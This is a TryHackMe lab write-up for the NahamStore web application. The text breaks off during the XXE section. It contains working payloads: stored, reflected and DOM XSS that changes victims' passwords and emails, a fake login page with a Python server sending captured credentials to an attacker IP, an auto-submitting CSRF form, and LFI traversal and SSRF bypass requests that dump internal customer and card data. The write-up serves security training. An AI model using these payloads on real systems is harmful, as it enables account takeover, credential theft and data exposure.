Post

Tryhackme: NahamStore Write-up

Tryhackme: NahamStore Write-up

Summary

This writeup documents the full security assessment and penetration test of NahamStore, a lab hosted on TryHackMe. The objective of this lab is to identify and exploit various modern web application vulnerabilities. This writeup walks through the entire assessment process step-by-step:

  • Reconnaissance: Enumerating open ports, mapping hidden subdomains, and revealing exposed APIs.
  • Client-Side Exploitation: Leveraging Stored, Reflected, and DOM-based XSS vectors to force Account Takeovers (ATO), alongside CSRF and Open Redirect flaws.
  • Server-Side & Logic Flaws: Bypassing authorization logic via IDOR, testing filter limits with Local File Inclusion (LFI), routing past network boundaries via a critical SSRF vulnerability to dump internal API data, data exfiltration via XXE and SQL Injection, and finally achieving Remote Code Execution (RCE).

Challenge Link: nahamstore

Enumeration

Initial Infrastructure & Port Enumeration

First, an initial nmap scan was performed on the main domain nahamstore.thm to find open ports and running services.

1
2
3
4
5
6
7
8
9
10
$ nmap nahamstore.thm   
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-11 15:21 +03
Nmap scan report for nahamstore.thm (10.112.132.197)
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

2. Subdomain Enumeration

To map the full attack surface, active and passive subdomain enumeration was performed using wfuzz and amass.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ wfuzz -c -z file,/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://nahamstore.thm/" -H "Host: FUZZ.nahamstore.thm" --hw 65
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://nahamstore.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                
=====================================================================

000000001:   301        7 L      13 W       194 Ch      "www"                                  
000000037:   301        7 L      13 W       194 Ch      "shop"                                 
000000254:   200        41 L     92 W       2025 Ch     "marketing"                            
000000960:   200        0 L      1 W        67 Ch       "stock"                                

Identified Subdomains

SubdomainStatus / PortDescription
www.nahamstore.thm301 RedirectRedirects to the main domain.
shop.nahamstore.thm301 RedirectRedirects to the main domain.
stock.nahamstore.thm200 OK (Port 80)Used for stock checking features.
marketing.nahamstore.thm200 OK (Port 80/8000)Displays active campaigns (80) and hosts an admin dashboard (8000).
nahamstore-2020.nahamstore.thm403 / 200 (Port 8000)Port 80 is Forbidden. Port 8000 mirrors the marketing admin dashboard.
nahamstore-2020-dev.nahamstore.thm200 OK (Port 80)Development site exposing critical endpoints (/api/customers).

3.Directory & Endpoint Discovery

Directory brute-forcing was carried out across the main domain and the discovered subdomains to uncover hidden endpoints.

Main Domain (http://nahamstore.thm/)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ffuf -w /usr/share/wordlists/dirb/common.txt -e .txt,.js,.php,.bak,.sh,cgi,old -u http://nahamstore.thm/FUZZ -s

basket
css
js
login
logout
register
returns
robots.txt
robots.txt
search
staff
uploads

$ curl http://nahamstore.thm/robots.txt               
User-agent: *   

Marketing Subdomain (http://marketing.nahamstore.thm/) A directory scan on Port 80 revealed MD5-like hashes that route to campaigns with an error parameter: /?error=Campaign+Not+Found

1
2
3
4
5
6
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u http://marketing.nahamstore.thm/FUZZ -s

6e6055bd53afb9b6e4394d76e35838c9
cfa5301358b9fcbe7aa45b1ceea088c6
....

Port 8000 Exploration & Credential Leak

Fuzzing Port 8000 on the subdomains revealed an administrative control portal.

1
2
3
4
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u  http://nahamstore-2020-dev.nahamstore.thm:8000/FUZZ -recursion -ic -s -e .txt,.php,.bak,.old,.jsp,.js   

admin
robots.txt

on robots.txt, the disallowed entry is:

1
2
User-agent: *
Disallow: /admin

and when I visited the admin page, I got redirected to login page:

1
http://nahamstore-2020.nahamstore.thm:8000/admin/login

I quickly tried admin:admin credentials and it worked!

Alt

This dashboard allows altering descriptions for active marketing campaigns and is mirrored across both marketing.nahamstore.thm:8000 and nahamstore-2020.nahamstore.thm:8000

Summary of Target Environment

  • Primary Domain: nahamstore.thm
  • Active Subdomains: stock, marketing, nahamstore-2020
  • Primary Initial Footprints:
    1. Bypassed Authentication: Default admin:admin credentials valid on Port 8000 administrative panels.
    2. Web Vulnerabilities: Highly stored and reflected XSS points located within the marketing subdomain parameter handling.
    3. Customer information leakage on nahamstore-2020-dev.nahamstore.thm:80/api/customers

XSS

During testing on the nahamstore.thm lab environment, multiple instances of Cross-Site Scripting (XSS) were identified across different subdomains and features. These include Stored XSS, Reflected XSS, and DOM-based XSS. Several of these flaws were successfully chained to achieve Account Takeover (ATO).

1. Stored-XSS

Finding 1.1: Stored XSS in the admin panel:

  • Vulnerable Endpoint: POST /update
  • Impacted Page: /<campaige hash>
  • Severity: High

The server running on port 8000 host an admin panel that uses default credentials admin:admin from there we were able to edit the description of the Campaign details, the form were found to be vulnerable to stored XSS after injecting an alert box which executed after viewing the campaign description

Proof of Concept (PoC):

1
<script>alert(document.domain)</script>

Alt Alt


Finding 1.2: Stored XSS in return feature :

  • Vulnerable Endpoint: POST /returns
  • Impacted Page: /returns/2?auth=c81e728d9d4c2f636f067f89cc14862c
  • Severity: High

The application allows users to submit a return request. The text input inside the return_info parameter is reflected back to the user or an administrator inside a <textarea> tag without proper sanitization. By breaking out of the <textarea> and <div> tags, arbitrary JavaScript can be executed.

Proof of Concept (PoC)

Simple alert box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /returns
...

------WebKitFormBoundarytSbKXesvubr8SxTJ
Content-Disposition: form-data; name="order_number"

2
------WebKitFormBoundarytSbKXesvubr8SxTJ
Content-Disposition: form-data; name="return_reason"

1
------WebKitFormBoundarytSbKXesvubr8SxTJ
Content-Disposition: form-data; name="return_info"

test</textarea></div><script>alert(1)</script></form>
------WebKitFormBoundarytSbKXesvubr8SxTJ--

result in /returns/2?auth=c81e728d9d4c2f636f067f89cc14862c source code:

1
2
3
4
5
6
7
<div style="margin-top:7px">
  <label>Order Number: </label>2</div>
<div style="margin-top:7px">
   <label>Return Reason: </label>Wrong Size</div>
<div style="margin-top:7px">
  <label>Return Information:</label></div>
<div><textarea class="form-control">test</textarea></div><script>alert(1)</script></form></textarea>

Finding 1.3: Stored XSS in HTTP headers:

  • Vulnerable Endpoint: POST /basket
  • Impacted Page: /account/order/<id>
  • Vulnerable Component: User-Agent
  • Severity: High

During the checkout workflow, the application stores the client’s User-Agent string alongside the persistent order details in the database. Because the application fails to sanitize or encode this value before storing and rendering it, it is highly susceptible to Stored XSS.

Proof of Concept (PoC):

After ordering, our order details saved as:

Alt

Note that our user-agent is saved with the order details, and the server found to be vulnerable to stored XSS after injecting an alert box on the user-agent header just before ordering

1
2
3
4
5
6
7
8
POST /basket HTTP/1.1
Host: nahamstore.thm
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: <script>alert(1)</script>

address_id=5&card_no=1234123412341234

The script got successfully injected and executed on the source code

1
<div>User Agent:<strong> <script>alert(1)</script></strong></div>

Exploiting Stored XSS to achieve account takeover:

The password change feature (POST /account/settings/password) does not require the user to verify their current password. This allows an attacker to chain the Stored XSS to execute an Account Takeover

1
2
3
4
5
POST /account/settings/password HTTP/1.1
Host: nahamstore.thm
Referer: http://nahamstore.thm/account/settings/password

change_password=123456

We’re going to insert into the return text area that is vulnerable to stored XSS and inject this script, which will load a POST request to /account/settings/password that will change the victim’s password to hacked123

1
2
3
4
5
6
7
8
9
</textarea><script>
fetch('/account/settings/password', { 
    method: 'POST', 
    headers: { 
        'Content-Type': 'application/x-www-form-urlencoded' 
    }, 
    body: 'change_password=hacked123' 
});
</script>

This is the request sent after loading the return detail page:

Alt

2. Reflected XSS

Finding 2.1: Reflected XSS on the check stock feature:

  • Vulnerable URL: http://nahamstore.thm/product?id=2&name=Sticker+Pack
  • Vulnerable Parameter: server
  • Severity: Medium

When checking product stock, the application performs an internal request. The server parameter is reflected inside the application script context. After testing we confirmed reflected XSS vulnerability in the server parameter

Proof of Concept (PoC):

When clicking chek stock, an alert box was reflected containing the amount of items in stock

1
http://nahamstore.thm/product?id=2&name=Sticker+Pack

Alt

A hidden parameter is send with the product id which is the server that checks the available stocks from this subdomain stock.nahamstore.thm and returns the number of items in stock

1
2
3
4
5
6
7
8
9
10
11
    $('.checkstock').click( function(){

        $.post('/stockcheck',{
            product_id  :   $(this).attr('data-product-id'),
            server      :   'stock.nahamstore.thm'
        },function(resp){
            let obj = JSON.parse(resp);
            alert( 'There are ' + obj.stock + ' items in stock');
        });
    });

Payload:

1
/product_id=2&server=<script>alert(document.cookie)</script>

Alt


Finding 2.2: 404 Error Page (name & id Parameters):

  • Vulnerable URL: http://nahamstore.thm/product
  • Vulnerable Parameters: name, id
  • Severity: Medium

If a product is not found, the application echoes back the name and id parameters on a 404 page. The name parameter breaks out of the <title> and <p> tags, while the id parameter reflects directly into an unhandled database error message, creating both an XSS vector and indicating a potential SQL Injection flaw.

Proof of Concept (PoC):

1
2
3
4
5
 # request 
 /product?name=test
 
 # response
 Sorry, we couldn't find /product?name=test anywhere

when I examined the source code. We had to escape the titletag so we can end this line

1
   <title>NahamStore - 404 Page Not Found</title>

Also we had to escape the p tag to end this line

1
<p class="text-center">Sorry, we couldn't find /product?name=test anywhere</p>

So the injection will be in-between </title> and </p> tags, before the execution of <p>anywhare</p> ,our script will execute first

1
/product?name=test</title><script>alert(1)</script></p>

In the source code, it will be injected like this:

1
2
3
<p class="text-center">Sorry, we couldn't find /product?name=test</title>
  <script>alert(1)</script>
</p> anywhere</p>

Alt

As for the idparameter we had to escape the line in-between quote

1
2
3
4
5
6
7
# request
/product?id=test><script>alert(1)</script></
# response
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
 '>
 <script>alert(1)</script>
 </ LIMIT 1' at line 1

Finding 2.3: Marketing Subdomain Error Message:

  • Vulnerable URL: http://marketing.nahamstore.thm/?error=
  • Vulnerable Parameter: error
  • Severity: Medium

When a user navigates to an invalid campaign identifier, the application redirects them to the root marketing page with an error parameter. The value of the error parameter is directly rendered into a <p> tag without being encoded.

Proof of Concept (PoC):

when changing one character of the campaign name hash

1
http://marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642c

it will throw this error

1
http://marketing.nahamstore.thm/?error=Campaign+Not+Found

Test this error parameter for injection

1
http://marketing.nahamstore.thm/?error=%3Cscript%3Ealert(1)%3C/script%3E

The test was success and our script got injected into the source code

1
<p><script>alert(1)</script></p>

3. DOM-Based XSS

Finding 3.1: Search Parameter (Account Takeover via Email Change)

  • Vulnerable URL: http://nahamstore.thm/search
  • Vulnerable Parameter: q
  • Severity: High

The search value from the query string q is directly assigned to an internal JavaScript variable (var search = '...') within an inline script block. Because the server does not sanitize or escape single quotes, an attacker can break out of the string literal and execute arbitrary DOM-based scripts. This can be chained to change a user’s email address asynchronously.

Proof of Concept (PoC):

In this endpoint:

1
http://nahamstore.thm/search?q=test

we can search for items, and our input is passed into this tag

1
<h3 class="text-center">Search Results For "test"</h3>

In the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var search = 'test';
    $.get('/search-products?q=' + search,function(resp){
        if( resp.length == 0 ){

            $('.product-list').html('<div class="text-center" style="margin:10px">No matching products found</div>');

        }else {
            $.each(resp, function (a, b) {
                $('.product-list').append('<div class="col-md-4">' +
                    '<div class="product_holder" style="border:1px solid #ececec;padding: 15px;margin-bottom:15px">' +
                    '<div class="image text-center"><a href="/product?id=' + b.id + '"><img class="img-thumbnail" src="/product/picture/?file=' + b.img + '.jpg"></a></div>' +
                    '<div class="text-center" style="font-size:20px"><strong><a href="/product?id=' + b.id + '">' + b.name + '</a></strong></div>' +
                    '<div class="text-center"><strong>$' + b.cost + '</strong></div>' +
                    '<div class="text-center" style="margin-top:10px"><a href="/product?id=' + b.id + '" class="btn btn-success">View</a></div>' +
                    '</div>' +
                    '</div>');
            });
        }
    });

If the application dynamically reflects our input directly into the var search = '...'; line on the server side without proper escaping, we can break out of the JavaScript string literal.

1
http://nahamstore.thm/search?q=test%27;alert(document.cookie);%20//;

Alt

The JS code will successfully include and execute our injected code

1
  var search = 'test';alert(document.cookie); //;';

Exploiting DOM XSS to achieve account takeover: we gonna inject this js code into the qparameter and url encode it

1
2
3
4
5
6
7
8
9
const targetUrl = '/account/settings/email';
const payloadData = 'change_email=hacked@example.com';
fetch(targetUrl, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: payloadData
});

After URL encoding, when the victim visits the crafted URL

1
http://nahamstore.thm/search?q=%27%3b%0d%0a%63%6f%6e%73%74%20%74%61%72%67%65%74%55%72%6c%20%3d%20%27%2f%61%63%63%6f%75%6e%74%2f%73%65%74%74%69%6e%67%73%2f%65%6d%61%69%6c%27%3b%0d%0a%63%6f%6e%73%74%20%70%61%79%6c%6f%61%64%44%61%74%61%20%3d%20%27%63%68%61%6e%67%65%5f%65%6d%61%69%6c%3d%68%61%63%6b%65%64%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%27%3b%0d%0a%66%65%74%63%68%28%74%61%72%67%65%74%55%72%6c%2c%20%7b%0d%0a%20%20%20%20%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%0d%0a%20%20%20%20%68%65%61%64%65%72%73%3a%20%7b%0d%0a%20%20%20%20%20%20%20%20%27%43%6f%6e%74%65%6e%74%2d%54%79%70%65%27%3a%20%27%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%27%0d%0a%20%20%20%20%7d%2c%0d%0a%20%20%20%20%62%6f%64%79%3a%20%70%61%79%6c%6f%61%64%44%61%74%61%0d%0a%7d%29%3b%2f%2f

It will got injected into the source code, and after execution, it will sent a POST request to change the victim’s email

Alt

Reference:

-hackerone How XSS payloads work

Open Redirect

An Open Redirect vulnerability was identified on the root domain (http://nahamstore.thm/) via the hidden parameter r. Invalidated user input allowed an attacker to construct a malicious URL that redirects legitimate users to an external, attacker-controlled domain. This behavior can be leveraged to conduct highly convincing phishing attacks, leading to credential theft.

  • Vulnerability Type: Open Redirect
  • Severity: Medium
  • Affected Endpoint: http://nahamstore.thm/
  • Vulnerable Parameter: r (Discovered via parameter fuzzing)

Proof of Concept (PoC)

Besides /account/addressbook?redirect_url=/basket endpoint, we discovered hidden parameter by utilizing arjun or fuff tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ arjun -u http://nahamstore.thm/ -m GET 
    _
   /_| _ '
  (  |/ /(//) v2.2.7
      _/      

[*] Scanning 0/1: http://nahamstore.thm/
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[+] Extracted 1 parameter from response for testing: q
[*] Logicforcing the URL endpoint
[✓] parameter detected: q, based on: body length
[✓] parameter detected: r, based on: http code
[+] Parameters found: q, r

$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt -u "http://nahamstore.thm/?FUZZ=https://google.com" -s -ac
r
q

Steps to Produces:

  1. Create Fake login from:

We will simulate a phishing attacks by exploiting open redirect to redirect victims to the attacker server and fetch their credentials. This form will collect the input and send a POST request back to a handler running on your machine. login.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>NahamStore - Sign In</title>
    <style>
        body { font-family: Arial, sans-serif; background-color: #f4f4f4; text-align: center; padding-top: 50px; }
        .login-box { background: white; padding: 30px; display: inline-block; border: 1px solid #ccc; border-radius: 5px; }
        .input-group { margin-bottom: 15px; text-align: left; }
        .input-group label { display: block; margin-bottom: 5px; }
        .input-group input { width: 200px; padding: 8px; }
        button { padding: 10px 20px; background: #28a745; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="login-box">
    <h2>NahamStore Login</h2>
    <form action="http://<ATTACKER-IP>:4444/capture" method="POST">
        <div class="input-group">
            <label>Email Address</label>
            <input type="text" name="username" required>
        </div>
        <div class="input-group">
            <label>Password</label>
            <input type="password" name="password" required>
        </div>
        <button type="submit">Login</button>
    </form>
</div>

</body>
</html>
  1. Set Up the Listener to Fetch the Input: To capture the data when the form is submitted, you need a backend script that handles the incoming POST request and prints the data to your terminal. server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from http.server import HTTPServer, BaseHTTPRequestHandler

class CaptureHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Serve the login page when requested
        if self.path == '/' or self.path == '/login.html':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('login.html', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()

    def do_POST(self):
        # Capture and display the data sent from the form
        if self.path == '/capture':
            content_length = int(self.headers['Content-Length'])
            post_data = self.rfile.read(content_length).decode('utf-8')
            
            print("\n" + "="*40)
            print("[+] Captured Data Received!")
            print("="*40)
            print(post_data)
            print("="*40 + "\n")
            
            # Redirect the user back to the legitimate site to reduce suspicion
            self.send_response(302)
            self.send_header('Location', 'http://nahamstore.thm/')
            self.end_headers()

# Start the server on port 4444
server_address = ('ATTACKER-IP', 4444)
httpd = HTTPServer(server_address, CaptureHandler)
print("[*] Server running on port 4444... Press Ctrl+C to stop.")
httpd.serve_forever()
  1. Construct the exploit URL: Now inject your server into the redirect location
1
http://nahamstore.thm/?r=http://Attacker-ip:4444/

Alt

Once the victim hits submit, the server will capture the credentials and redirect the users back to nahamstore.thm like nothing happen

1
2
3
4
5
6
7
8
9
$ python3 server.py          
[*] Server running on port 4444... Press Ctrl+C to stop.
192.168.129.156 - - [16/Jun/2026 14:55:36] "GET / HTTP/1.1" 200 -

========================================
[+] Captured Data Received!
========================================
username=victim&password=test
========================================

CSRF

A Cross-Site Request Forgery (CSRF) token is a secure, random, and unpredictable value tied to a user’s current session. Its purpose is to ensure that a state-changing request (such as updating a password or changing an email) was intentionally initiated by the authenticated user from within the legitimate application.

During testing, it was observed that the email change and password change features accept requests even if the csrf_protect parameter is completely missing. Because the application processes these state-changing actions without enforcing token validation, it is vulnerable to CSRF. An attacker can exploit this behavior to modify a victim’s credentials without their knowledge or consent.

  • Vulnerable Endpoints:
    • POST /account/settings/email
    • POST /account/settings/password
  • Vulnerable Parameters: csrf_protect (vulnerable to complete omission)
  • Impact: High. An attacker can achieve full account takeover by forcing an authenticated user to unwittingly change their registered email address or account password.

Proof of Concept (PoC):

I noticed in the change email feature, the website adds the csrf_protect parameter into the POST request along with the changed email.

1
2
3
4
POST /account/settings/email HTTP/1.1
Host: nahamstore.thm

csrf_protect=eyJkYXRhIjoiZXlKMWMyVnlYMmxrSWpvMExDSjBhVzFsYzNSaGJYQWlPaUl4TnpneE5qRXlOalF3SW4wPSIsInNpZ25hdHVyZSI6IjdkN2I3ZjcyNmRhMTYyMjU3NmQ0NGYwNzdmYzg0ZDc3In0%3D&change_email=test%40gmail.com

This string is URL-encoded Base64. If we decode it, it translates into a JSON structure containing:

1
{"data":"eyJ1c2VyX2lkIjo0LCJ0aW1lc3RhbXAiOiIxNzgxNjEyNjQwIn0=","signature":"7d7b7f726da1622576d44f077fc84d77"}
1
{"user_id":4,"timestamp":"1781612640"}

While the server correctly signs and structures this token, it fails to enforce its presence. If the csrf_protect parameter is completely omitted from the request, the server ignores the check entirely and processes the change anyway.

An HTML exploit payload can be generated manually or by using automated tools like csrf-poc-generator:

1
git clone https://github.com/merttasci/csrf-poc-generator.git

Then open the index.htmlfile, we can then paste the request we want to generate CSRF for it, like change email or change password feature

Alt

Note that the server will accept the email change without specifying csrf_protect parameter, next host the CSRF PoC into an html file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
	<body>
		<form id="hackForm" method="POST" action="http://nahamstore.thm/account/settings/email">
			<input type="hidden" name="change_email" value="Hacked@gmail.com"/>
			<input type="submit" value="Submit">
		</form>
	</body>
<script>

    // Trigger the POST request automatically when the page opens
    document.getElementById('hackForm').submit();
</script>
</body>
</html>

Execution Steps:

  1. Save the payload above as change-email.html.
  2. Host the file locally using a Python development server:
1
$ python3 -m http.server 4444
  1. Deliver the link (http://<attacker-ip>:4444/change-email.html) to an authenticated victim.
  2. Once the victim views the page, their active session will automatically process the request, updating their account email to Hacked@gmail.com without requiring manual intervention.

Once it is done, He will be redirected to nahamstore website.

Alt

IDOR

Finding 1: IDOR parameter injection

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the PDF generation feature of the application. By injecting a URL-encoded user_id parameter into the request body, an attacker can bypass authorization controls and generate order receipts belonging to other users. This exposes sensitive data, including customer names, shipping addresses, and order history.

  • Vulnerability Type: IDOR (Insecure Direct Object Reference) / Parameter Injection
  • Severity: Medium
  • Affected Endpoint: POST /pdf-generator
  • Vulnerable Parameters: id and appended user_id

Proof of Concept (PoC):

In this page, we can generate a PDF of the order details

Alt

The request body:

1
2
3
4
5
6
POST /pdf-generator HTTP/1.1
Host: nahamstore.thm
Content-Length: 15
..

what=order&id=6

Attempting to change the id parameter directly results in an error message: "Order does not belong to this user_id". This confirms the backend checks the order against the session’s user ID.

However, the backend parser is vulnerable to parameter injection. By appending a URL-encoded user_id parameter inside the value string, the backend’s internal logic is tricked into overriding the session’s user validation context.

1
what=order&id=3&user_id=3

After URL-encoded:

1
what=order&id=3%26user_id%3d3

Alt


Finding 2: IDOR in the address_id parameter

An IDOR vulnerability in the POST /basket endpoint. By changing the address_idof the intercepted request, a receipt belonging to other user were revealed.

  • Vulnerability Type: IDOR (Insecure Direct Object Reference)
  • Severity: Medium
  • Affected Endpoint: POST /basket
  • Vulnerable Parameters: address_id

Proof of Concept (PoC):

I first tried to change the order ID from the url

1
 /account/orders/6

But I got redirected to /orders page, so I changed the address_id of the intercepted request when choosing addresses and found a new address!

Alt

Local File Inclusion

A LFI vulnerability was found in the fileparameter that fetch images of the products

  • Vulnerability Type: LFI
  • Severity: Medium
  • Affected Endpoint: GET /product/picture/?file=<md5>.jpg
  • Vulnerable Parameters: file

Proof of Concept (PoC):

I noticed when we load the home page the images got loaded from this location:

Alt

I first tried to read the passwd file

1
2
$ curl "http://nahamstore.thm/product/picture/?file=/etc/passwd"                
File does not exist 

So I fuzzed the file parameter to see if we can bypass any protection in use

1
2
3
4
5
6
$ ffuf -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt  -u 'http://nahamstore.thm/product/picture/?file=FUZZ' -s -fs 19
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
....//....//

Next I tried to view the passwd file and this time I got a permission error, which means we bypassed the filter applied but we don’t have read permission.

1
2
$ curl "http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//etc/passwd" 
You not not have permission to view this file

To enumerate other file location:

1
2
$ ffuf -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt  -u 'http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//FUZZ' -s -fs 19

SSRF

Server-Side Request Forgery (SSRF) vulnerability was identified in the /stockcheck endpoint of nahamstore.thm. The endpoint accepts a server parameter to query product stock from an internal subdomain. However, the backend validation mechanism can be bypassed using URL parser differentials (the @ character) and fragment identifiers (#).

An attacker can exploit this vulnerability to force the application server to make unauthorized requests to internal infrastructure, map internal services, and exfiltrate data.

  • Vulnerable Endpoint: POST /stockcheck
  • Vulnerable Parameter: server
  • Vulnerability Type: Server-Side Request Forgery (SSRF)
  • Severity: Critical

Proof of Concept (PoC):

In the stockcheck endpoint, the server send a POST request to the stock.nahamstore.thm subdomain to query for products stock.

1
2
3
4
5
6
POST /stockcheck HTTP/1.1
Host: nahamstore.thm
Content-Length: 40
...

product_id=1&server=stock.nahamstore.thm

Any server other than stock subdomain, the server will throw this error:

1
["Server invalid"]

and if we try to enumerate pages on stock subdomain, we will get:

1
{"error":"Unknown Endpoint or Method Requested"}

I tried to append the @localhost without ending it with #

1
product_id=1&server=stock.nahamstore.thm@localhost

This returned the nahamstore.thm containing this error: which means the server sent a GET request to localhost:80/product/1

1
Sorry, we couldn't find /product/1 anywhere

By appending a fragment identifier (#), the rest of the internally appended path is treated as a client-side fragment by the target server or truncated entirely.

1
product_id=1&server=stock.nahamstore.thm@localhost#

Internal subdomain enumeration: Note I added the-t 3 to prevent resource exhaustion. To speed up the search, I filtered the wordlist to grep domain names that may exist on the server.

1
$ grep -E -i '^(api|dev|internal|admin|staging|test|corp|local|status|git)' /usr/share/wordlists/SecLists/Discovery/DNS/dns-Jhaddix.txt > filtered-dns.txt
1
2
3
4
$ ffuf -w filtered-dns.txt -H $'Host: nahamstore.thm' -H $'Content-Length: 56' -H $'X-Requested-With: XMLHttpRequest' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept: */*' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36' -H $'Origin: http://nahamstore.thm' -H $'Referer: http://nahamstore.thm/product?id=1' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
-b $'session=92c96e18e9795591bd9add49e7d72b53' -X POST -d $'product_id=1&server=stock.nahamstore.thm@FUZZ.nahamstore.thm/#' -u $'http://nahamstore.thm/stockcheck' -fs 48,162 -s -t 3 

internal-api.nahamstore.com

At last, I found an internal subdomain, this domain host the customers order details including their payment information

1
2
3
4
$ curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -b $'session=92c96e18e9795591bd9add49e7d72b53' --data-binary $'product_id=1&server=stock.nahamstore.thm@internal-api.nahamstore.thm#'  $'http://nahamstore.thm/stockcheck'                                     
HTTP/1.1 200 OK

{"server":"internal-api.nahamstore.com","endpoints":["\/orders"]}   

To make the output clean, pipe the output to jq and remove the response header flag -i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl --path-as-is -s -k -X $'POST' \
  -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -b $'session=92c96e18e9795591bd9add49e7d72b53' \
  --data-binary $'product_id=1&server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders/#' \
  $'http://nahamstore.thm/stockcheck' | jq
[
  {
    "id": "4dbc51716426d49f524e10d4437a5f5a",
    "endpoint": "/orders/4dbc51716426d49f524e10d4437a5f5a"
  },
  {
    "id": "5ae19241b4b55a360e677fdd9084c21c",
    "endpoint": "/orders/5ae19241b4b55a360e677fdd9084c21c"
  },
  {
    "id": "70ac2193c8049fcea7101884fd4ef58e",
    "endpoint": "/orders/70ac2193c8049fcea7101884fd4ef58e"
  }
]
                                                   

Requesting for a specific customer order:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ curl --path-as-is -s -k -X $'POST' \
  -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -b $'session=92c96e18e9795591bd9add49e7d72b53' \
  --data-binary $'product_id=1&server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders/4dbc51716426d49f524e10d4437a5f5a#' \    
  $'http://nahamstore.thm/stockcheck' | jq
{
  "id": "4dbc51716426d49f524e10d4437a5f5a",
  "customer": {
    "id": 1,
    "name": "Rita Miles",
    "email": "rita.miles969@gmail.com",
    "tel": "816-719-7115",
    "address": {
      "line_1": "3914  Charles Street",
      "city": "Farmington Hills",
      "state": "Michigan",
      "zipcode": "48335"
    },
    "items": [
      {
        "name": "Sticker Pack",
        "cost": "15.00"
      }
    ],
    "payment": {
      "type": "MasterCard",
      "number": "5376118225360051",
      "expires": "05/2024",
      "CVV2": "610"
    }
  }
}

XXE

Classic XXE

A critical XML External Entity (XXE) injection vulnerability was identified on the stock subdomain API endpoints. By utilizing custom XML payloads containing external system entities, an unauthenticated attacker can achieve Arbitrary File Read and Local File Inclusion (LFI).

  • Target Host: http://stock.nahamstore.thm
  • Vulnerable parameter : xml
  • Severity: Critical

Through standard exploitation and the use of PHP stream filters (php://filter), the underlying custom framework architecture was mapped out, allowing the extraction of core application source code

Proof of Concept (PoC):

In the stock subdomain, the /product endpoint shows that the application communicates and tracks stock items via a JSON format by default

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ curl http://stock.nahamstore.thm/product | jq
  {
  "items": [
    {
      "id": 1,
      "name": "Hoodie + Tee",
      "stock": 56,
      "endpoint": "/product/1"
    },
    {
      "id": 2,
      "name": "Sticker Pack",
      "stock": 293,
      "endpoint": "/product/2"
    }
  ]
}
            

Fuzzing for hidden parameter inside the stock subdomain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ arjun -u http://stock.nahamstore.thm/ -m GET        
    _
   /_| _ '
  (  |/ /(//) v2.2.7
      _/      

